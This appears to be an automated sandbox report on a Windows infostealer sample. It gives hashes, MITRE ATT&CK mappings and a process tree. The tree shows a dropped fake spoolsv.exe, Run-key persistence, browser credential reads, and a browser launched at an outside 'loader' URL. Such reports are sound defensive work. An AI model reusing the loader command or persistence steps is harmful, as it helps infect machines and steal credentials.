921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8

Analysis

max time kernel
159s
max time network
168s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
12/10/2023, 10:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe
Size

12KB
MD5

95ba731fe5b6b6ccae02eb89bfeeb5db
SHA1

a200dd2068f6dc734a9937d573d602622f8d00a8
SHA256

921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8
SHA512

662645ecacc2fc62becb5c7529634dd65c31d5e55381248ca69c7c019689fa4d1aa418d3efed1653c3198d92404afa6c957c8918a4383b520214f87ae6c7c6c9
SSDEEP

192:FmS1Xdn5wLpYXQEuS7wyEPQO0llY3Dvz0EoNH6TnF57OU:JvnuVYgvYOr3boEiH0ZOU

Score

7^/10

persistence spyware stealer

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4512	spoolsv.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\spoolsv = "C:\\Windows\\spoolsv.exe"	921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\spoolsv = "C:\\Windows\\spoolsv.exe"	spoolsv.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\spoolsv.exe	921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe
File created	C:\Windows\spoolsv.exe	spoolsv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2052	msedge.exe
2052	msedge.exe
4964	msedge.exe
4964	msedge.exe
3696	identity_helper.exe
3696	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe
Token: SeDebugPrivilege	4512	spoolsv.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe
2052	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 4512	2364	921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe	88
PID 2364 wrote to memory of 4512	2364	921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe	88
PID 2364 wrote to memory of 4512	2364	921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe	88
PID 4512 wrote to memory of 2052	4512	spoolsv.exe	92
PID 4512 wrote to memory of 2052	4512	spoolsv.exe	92
PID 2052 wrote to memory of 2824	2052	msedge.exe	93
PID 2052 wrote to memory of 2824	2052	msedge.exe	93
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 988	2052	msedge.exe	94
PID 2052 wrote to memory of 4964	2052	msedge.exe	95
PID 2052 wrote to memory of 4964	2052	msedge.exe	95
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96
PID 2052 wrote to memory of 2308	2052	msedge.exe	96

C:\Users\Admin\AppData\Local\Temp\921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe
"C:\Users\Admin\AppData\Local\Temp\921da7c05742f22eae4dbe1141e35ac2ba7006da5702c6fb4969f13709205db8.exe"
1⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\spoolsv.exe
  "C:\Windows\spoolsv.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://onsapay.com/loader
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9232b46f8,0x7ff9232b4708,0x7ff9232b4718
      4⤵
      PID:2824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
      4⤵
      PID:988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
      4⤵
      PID:2308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3492 /prefetch:1
      4⤵
      PID:180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:1
      4⤵
      PID:5092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4988 /prefetch:1
      4⤵
      PID:2076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4956 /prefetch:1
      4⤵
      PID:2292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:1
      4⤵
      PID:4112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
      4⤵
      PID:1008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3604 /prefetch:8
      4⤵
      PID:2144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,18374094726614495834,2626809722717719660,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3604 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3696

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2656

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
3d8f4eadb68a3e3d1bf2fa3006af5510

SHA1
d5d8239ec8a3bf5dadf52360350251d90d9e0142

SHA256
85a80218f4e5b578993436a6b8066b60508dd85a09579a4cb6757c2f9550d96c

SHA512
554773c4edd8456efaa23ac24970af5441e307424de3d2f41539c2cf854d57e7f725bf0c9986347fd3f2ff43efc8f69fd73c5d773bbfd504a99daca2b272a554

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
93c88f829a6b059d0476e0d5636dd878

SHA1
37ca291f277af1877f00bf87571bacb1e7b5c2ee

SHA256
b419557b8b985b050d231a087498ee208b2ef90c41bfd9da5401f72fdb27b4f1

SHA512
aedbe2c8eeb0faf4a9bfac8d601ed6cd97eea338dcec6b247452f0a54f2a057919cd8145160b29f751d3b4262ece034dc1d0f8a1a1f346100ce6fc2e805cf285

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
c53ceb4ca57076f406a394d882b14b10

SHA1
cb4f69761ea12183be1f616a7ab13d6853f4ae4c

SHA256
6ec86bdbcc2e18308f94294816d2bf5794892b59446c70939d287451a03cd773

SHA512
ba2ad7841c351c50fbb7925d104e53fd679163859bdd452f6cb1624a7029141629b6ceab01d3b608697208225f70cccfc33e4d09e3125c38876f913d1d330752

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
967f4e495993b1cc2ee05492e78c4497

SHA1
083803547450f227a57b09f788250d33be9c0251

SHA256
0d3d0388f89a4da8b52ea5d0f191d3afe55dfec73bae874701af53d0d52608c6

SHA512
c6ec4f9b84ae0020b5e9afbef8ef34cf934fe4581e8e2dd49e1f13f23537277e9790a4202f01a57cdafd3b39adf6aabd6380ee4a3db1a3f1e49a9de436f71c9e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
5d04153c2068c73fdf3aea10575e2cae

SHA1
a2670d65e13066008c62cdad5645b8a34e9a22d6

SHA256
3f639a301d6ec04d98ce4007c528e4267a233dfff31e74ac0da9f0785e312f19

SHA512
d2a673350d7df543ddae3e6591ab7594f57e06ad3fd965267fcd85763a4ee7fcc0de68164f0031d1db7a141614a7ef6c02b94446fadcbfc903dede21c22cedcd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
d985875547ce8936a14b00d1e571365f

SHA1
040d8e5bd318357941fca03b49f66a1470824cb3

SHA256
8455a012296a7f4b10ade39e1300cda1b04fd0fc1832ffc043e66f48c6aecfbf

SHA512
ca31d3d6c44d52a1f817731da2e7ac98402cd19eeb4b48906950a2f22f961c8b1f665c3eaa62bf73cd44eb94ea377f7e2ceff9ef682a543771344dab9dbf5a38

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
0323a22986a0c85d154ce14ec1c46ee5

SHA1
c5479631454fbc10911a20a799a0bedf26c6ee60

SHA256
39d00ddf8219d7fe9570e747a5f520b6ebddf66d2bd8ea13382667be1bcea41b

SHA512
cb3e21153809c2ac48dcb253e0632e0287afe2481cfb6393d20e7c11222119e348d039e83e93cd5abc3b6ee75fd3c78b3fd8a01e50e0bf1a9982b93fb0220e06

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
92c307cdc04af0667f39d73954537f7f

SHA1
6c687a7dc1fa4373c006f9876d4ebca92c0c743b

SHA256
49e57ab527c89c9d72e78fb8ec1af7cf257045adf59dffdd83f592b4f57984bd

SHA512
25d52d0acd8079c85fc5569bb70e9a22f2006614bf4da9dea04fd8d9492d9158a0edb8431ca65f057fd73d5e1fe6729eacdbf121e8e15fa5ea040e8e83de7cf4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Filesize
334KB

MD5
3804ecc5ade999474a43d15093a64951

SHA1
f44feaf76016f03b5fd8ba1ed509f431ca853289

SHA256
d031907a109851603b58ac62797dffbbfeff619c52520a8ec3604996efd63521

SHA512
881968a4cb51bb470ab050c9bac623a1cff3c325461e0141c5a0302586b2e623d32028e3625d829780f26a610e4ef61b3c897d436917f1432fa175ee5657e019

Download Submit
C:\Users\Admin\AppData\Local\Temp\aQJ6jrPDfnPaRys.exe

Filesize
12KB

MD5
88b38511dfd315d9f414c9fc83528ef6

SHA1
b13c5d553f205b9ecfc1711412199531c36671a6

SHA256
5954dd202418b5b40aa677bc078588672f2ad944cb6b438018ebbd3b83ecc6df

SHA512
d9b325825830c21f996d28c0b8be776e67408a772829cf7df5e5b183bb5370423ed21b34e586a835b06eb6b325b042b4defdf100f6d4d1eb800b3b31bb35d5e6

Download Submit
C:\Windows\spoolsv.exe

Filesize
12KB

MD5
3d75b4de2c3edf60e7b79956d9afe7bb

SHA1
e200151ab4f14fca54117393486a11af2a1e2e0d

SHA256
e8b980ce74edd835672f209d6e78afa40d2ed9b1fef606e02b17e55095d4c5e0

SHA512
3fd6ee7b99a568feb634cb18df71a692ecf13b73a986388cf655d2e50f4a6e0a0bb890b46b84eaa39276799bbdcf50874a5769cb1a5a99fb72390f3caba23d27

Download Submit
C:\Windows\spoolsv.exe

Filesize
12KB

MD5
3d75b4de2c3edf60e7b79956d9afe7bb

SHA1
e200151ab4f14fca54117393486a11af2a1e2e0d

SHA256
e8b980ce74edd835672f209d6e78afa40d2ed9b1fef606e02b17e55095d4c5e0

SHA512
3fd6ee7b99a568feb634cb18df71a692ecf13b73a986388cf655d2e50f4a6e0a0bb890b46b84eaa39276799bbdcf50874a5769cb1a5a99fb72390f3caba23d27

Download Submit